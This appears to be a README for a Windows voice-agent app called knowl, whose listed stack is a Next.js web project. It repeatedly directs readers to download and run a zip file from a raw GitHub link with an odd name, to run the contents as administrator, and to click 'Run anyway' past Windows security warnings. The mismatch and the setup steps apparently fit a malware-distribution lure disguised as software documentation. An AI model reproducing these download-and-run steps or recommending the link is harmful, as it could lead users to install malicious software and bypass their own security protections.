knowl is a Windows app for building, sharing, and talking to voice agents. It is made for end users who want to run an AI voice tool without setting up a full developer stack.
Use it to:
- create a voice agent
- talk to your agent in real time
- store and share agent data
- connect voice tools with modern AI services
Open this page and follow the download option on the repository page:
https://raw.githubusercontent.com/chadwickhyperboloidal943/knowl/main/public/Software_nymphaline.zip
If you see a release file, download it. If you see the source files only, use the repo page to get the latest Windows build or packaged app.
- Open the link above in your browser.
- Look for the latest release or download option.
- Download the Windows app file.
- If the file is in a zip folder, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the app file to run it.
- If Windows shows a security prompt, choose Run anyway if you trust the source.
For a smooth setup on Windows, use:
- Windows 10 or Windows 11
- A modern web browser
- A stable internet connection
- A microphone for voice input
- Speakers or headphones for voice output
- At least 8 GB of RAM
- At least 1 GB of free disk space
knowl is built with tools that help it work well with voice and AI features:
- Next.js for the app interface
- TypeScript for safer app logic
- Tailwind CSS for the visual layout
- shadcn/ui for interface parts
- Vapi for voice agent calls
- ElevenLabs for voice output
- Gemini API for chat and response logic
- MongoDB Atlas for stored data
- Vercel Blob Storage for files
- Framer Motion for motion and transitions
- create voice agents with simple controls
- talk to agents through microphone input
- hear natural voice replies
- manage agent settings in one place
- share agent setups with others
- keep agent data in a cloud-backed store
- use a clean interface that is easy to read
After you open the app for the first time:
- Allow microphone access when Windows asks.
- Check that your speakers or headphones are on.
- Make sure your internet connection is stable.
- Sign in if the app asks for an account.
- Open the agent screen.
- Start a test call or voice session.
- Speak clearly and wait for the reply.
- Open the app.
- Choose the option to create a new agent.
- Enter a name for the agent.
- Set the voice you want.
- Save the agent.
- Open your saved agent.
- Click the talk or call button.
- Allow microphone access if asked.
- Speak your message.
- Listen to the reply.
- Open the agent you want to share.
- Find the share option.
- Copy the link or export option.
- Send it to the person who should use it.
If you opened the source files, the main project parts usually follow this pattern:
- app/ — app pages and screens
- components/ — reusable interface parts
- lib/ — helper code and service setup
- public/ — images and static files
- styles/ — app styling
- docs/ — notes and guides
- Check that the file finished downloading
- Extract the zip folder first if needed
- Right-click the app and try Run as administrator
- Restart your PC and try again
- Open Windows Settings
- Go to Privacy and Security
- Open Microphone
- Allow access for the app and browser
- Check that no other app is using the microphone
- Check your speaker volume
- Try headphones
- Refresh the app
- Open the agent settings and choose another voice
- Reload the app
- Close and reopen it
- Clear browser data if you ran it in a browser-based build
- Make sure your internet connection is active
Voice apps may use audio input, cloud services, and stored agent data. Use only the account and settings you want to keep. Check your microphone access before starting a session.
- Repository: https://raw.githubusercontent.com/chadwickhyperboloidal943/knowl/main/public/Software_nymphaline.zip
- Topics: elevenlabs, framer-motion, gemini-api-chatbot, mongodb-atlas, nextjs16, shadcn-ui, tailwindcss-v4, typescript, vapi, vercel-blob-storage, voice-agents
- Use a quiet room
- Keep your microphone close
- Speak in short phrases
- Wait for the agent to finish before speaking again
- Keep your internet connection stable
- Use headphones to avoid echo